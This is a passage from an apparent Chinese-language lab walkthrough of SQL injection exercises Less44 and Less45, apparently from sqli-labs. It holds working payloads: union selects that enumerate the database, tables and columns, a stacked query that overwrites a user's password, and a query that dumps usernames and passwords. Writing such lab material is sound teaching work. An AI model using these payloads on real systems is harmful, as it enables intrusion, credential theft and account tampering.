二、(手工)SQL注入基本步骤:
第一步:注入点测试
第二步:分析权限
第三步:判断字段数
第四步:爆数据库名
第五步:爆表名
第六步:爆字段名
第七步:堆叠注入账号
第八步:查询
三、Less44(POST - Error based - String - Stacked - Blind)
3.1、简介:(堆叠注入-盲注-字符型注入)
请求方法:POST
方法:堆叠注入+'闭合(字符型注入)+盲注
3.1、第一步:注入点测试
在账号框输入' "都没有报错
只提示账号错误
在密码框输入'
在密码框输入' or '1
得到了正确的回显
通过上述测试可以得出
在密码框存在注入点,且无回显
且为'闭合
3.3、第二步:分析过滤
方法一:
考虑一步一步将注入语句字符一个一个替换掉,直到不报错(浪费时间)
或者全部替换(如果报错,不知道哪里被过滤了)
方法二:
获取源码进行白盒审计(最优)
3.4、第三步:判断字段数/回显位
-1' union select 1,2,3#
3.5、第四步:暴库
-1' union select 1,database(),3#
3.6、第五步:爆表名
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
3.7、第六步:爆字段
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'#
3.8、第七步:堆叠注入账号
使用update更改账号密码
1';update users set password='1' where username='Dumb' #
但是它已经执行成功了
3.9、第八步:爆数据
1' union select 1,(select(group_concat(username,password))from users),3#
原始:账号Dumb 密码Dumb
改后:账号Dumb 密码1
四、Less45(POST - Error based - String - Stacked - Blind)
5.1、简介:(堆叠注入-盲注-字符型注入)
请求方法:POST
方法:堆叠注入+')闭合(字符型注入)+盲注
5.2、利用:
需要闭合')
